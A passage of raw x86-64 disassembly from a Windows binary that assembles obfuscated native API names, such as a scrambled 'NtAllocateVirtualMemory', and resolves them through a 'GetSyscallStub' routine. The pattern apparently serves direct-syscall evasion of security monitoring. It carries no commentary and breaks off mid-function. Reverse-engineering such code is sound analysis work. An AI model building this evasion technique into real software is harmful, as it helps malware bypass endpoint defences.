lea rax, [rbp + 0x4370]
lea rdx, [rbp + 0x4390]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4350]
lea rdx, [rbp + 0x4370]
lea r8, [0x216843ee3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4330]
lea rdx, [rbp + 0x4350]
lea r8, [0x216843eef]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4310]
lea rdx, [rbp + 0x4330]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x42f0]
lea rdx, [rbp + 0x4310]
lea r8, [0x216843edf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x42d0]
lea rdx, [rbp + 0x42f0]
lea r8, [0x216843ec9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x42b0]
lea rdx, [rbp + 0x42d0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4290]
lea rdx, [rbp + 0x42b0]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4270]
lea rdx, [rbp + 0x4290]
lea r8, [0x216843e95]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4250]
lea rdx, [rbp + 0x4270]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4230]
lea rdx, [rbp + 0x4250]
lea r8, [0x216843ed9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4210]
lea rdx, [rbp + 0x4230]
lea r8, [0x216843ed9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x4210]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x4210]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4230]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4250]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4270]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4290]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x42b0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x42d0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x42f0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4310]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4330]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4350]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4370]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4390]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x43bf]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x43c0]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x43c0]
mov rcx, qword [rbp + 0x59a8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x43c0]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x21659628e
lea rbx, [0x216843ea9]
jmp 0x216596295
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x45ef]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x45ef]
lea rax, [rbp + 0x45c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x45a0]
lea rdx, [rbp + 0x45c0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4580]
lea rdx, [rbp + 0x45a0]
lea r8, [0x216843ee9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4560]
lea rdx, [rbp + 0x4580]
lea r8, [0x216843ea1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4540]
lea rdx, [rbp + 0x4560]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4520]
lea rdx, [rbp + 0x4540]
lea r8, [0x216843ea1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4500]
lea rdx, [rbp + 0x4520]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x44e0]
lea rdx, [rbp + 0x4500]
lea r8, [0x216843e8f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x44c0]
lea rdx, [rbp + 0x44e0]
lea r8, [0x216843eef]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x44a0]
lea rdx, [rbp + 0x44c0]
lea r8, [0x216843e95]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4480]
lea rdx, [rbp + 0x44a0]
lea r8, [0x216843ecd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4460]
lea rdx, [rbp + 0x4480]
lea r8, [0x216843ecf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4440]
lea rdx, [rbp + 0x4460]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4420]
lea rdx, [rbp + 0x4440]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4400]
lea rdx, [rbp + 0x4420]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x43e0]
lea rdx, [rbp + 0x4400]
lea r8, [0x216843ed1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x43e0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x43e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4400]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4440]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4460]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4480]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x44a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x44c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x44e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4500]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4520]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4540]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4560]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4580]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x45a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x45c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x45ef]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x45f0]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x45f0]
mov rcx, qword [rbp + 0x59a0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x45f0]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216596629
lea rbx, [0x216843ea9]
jmp 0x216596630
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x487f]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x487f]
lea rax, [rbp + 0x4850]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4830]
lea rdx, [rbp + 0x4850]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4810]
lea rdx, [rbp + 0x4830]
lea r8, [0x216843e8f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x47f0]
lea rdx, [rbp + 0x4810]
lea r8, [0x216843e91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x47d0]
lea rdx, [rbp + 0x47f0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x47b0]
lea rdx, [rbp + 0x47d0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4790]
lea rdx, [rbp + 0x47b0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4770]
lea rdx, [rbp + 0x4790]
lea r8, [0x216843ed7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4750]
lea rdx, [rbp + 0x4770]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4730]
lea rdx, [rbp + 0x4750]
lea r8, [0x216843ed9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4710]
lea rdx, [rbp + 0x4730]
lea r8, [0x216843ea1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x46f0]
lea rdx, [rbp + 0x4710]
lea r8, [0x216843ea5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x46d0]
lea rdx, [rbp + 0x46f0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x46b0]
lea rdx, [rbp + 0x46d0]
lea r8, [0x216843ecd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4690]
lea rdx, [rbp + 0x46b0]
lea r8, [0x216843ecf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4670]
lea rdx, [rbp + 0x4690]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4650]
lea rdx, [rbp + 0x4670]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4630]
lea rdx, [rbp + 0x4650]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4610]
lea rdx, [rbp + 0x4630]
lea r8, [0x216843ed1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x4610]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x4610]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4630]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4650]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4670]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x46b0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x46d0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x46f0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4710]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4730]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4750]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4770]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4790]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x47b0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x47d0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x47f0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4810]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4830]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4850]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x487f]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4880]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x4880]
mov rcx, qword [rbp + 0x5998]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x4880]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216596a48
lea rbx, [0x216843ea9]
jmp 0x216596a4f
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x4aef]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x4aef]
lea rax, [rbp + 0x4ac0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4aa0]
lea rdx, [rbp + 0x4ac0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4a80]
lea rdx, [rbp + 0x4aa0]
lea r8, [0x216843ef1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4a60]
lea rdx, [rbp + 0x4a80]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4a40]
lea rdx, [rbp + 0x4a60]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4a20]
lea rdx, [rbp + 0x4a40]
lea r8, [0x216843ecb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4a00]
lea rdx, [rbp + 0x4a20]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x49e0]
lea rdx, [rbp + 0x4a00]
lea r8, [0x216843edf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x49c0]
lea rdx, [rbp + 0x49e0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x49a0]
lea rdx, [rbp + 0x49c0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4980]
lea rdx, [rbp + 0x49a0]
lea r8, [0x216843ed5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4960]
lea rdx, [rbp + 0x4980]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4940]
lea rdx, [rbp + 0x4960]
lea r8, [0x216843ecd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4920]
lea rdx, [rbp + 0x4940]
lea r8, [0x216843ecf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4900]
lea rdx, [rbp + 0x4920]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x48e0]
lea rdx, [rbp + 0x4900]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x48c0]
lea rdx, [rbp + 0x48e0]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x48a0]
lea rdx, [rbp + 0x48c0]
lea r8, [0x216843ed1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x48a0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x48a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x48e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4900]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4920]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4940]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4960]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4980]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x49a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x49c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x49e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4a00]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4a20]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4a40]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4a60]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4a80]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4aa0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4ac0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4aef]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4af0]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x4af0]
mov rcx, qword [rbp + 0x5990]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
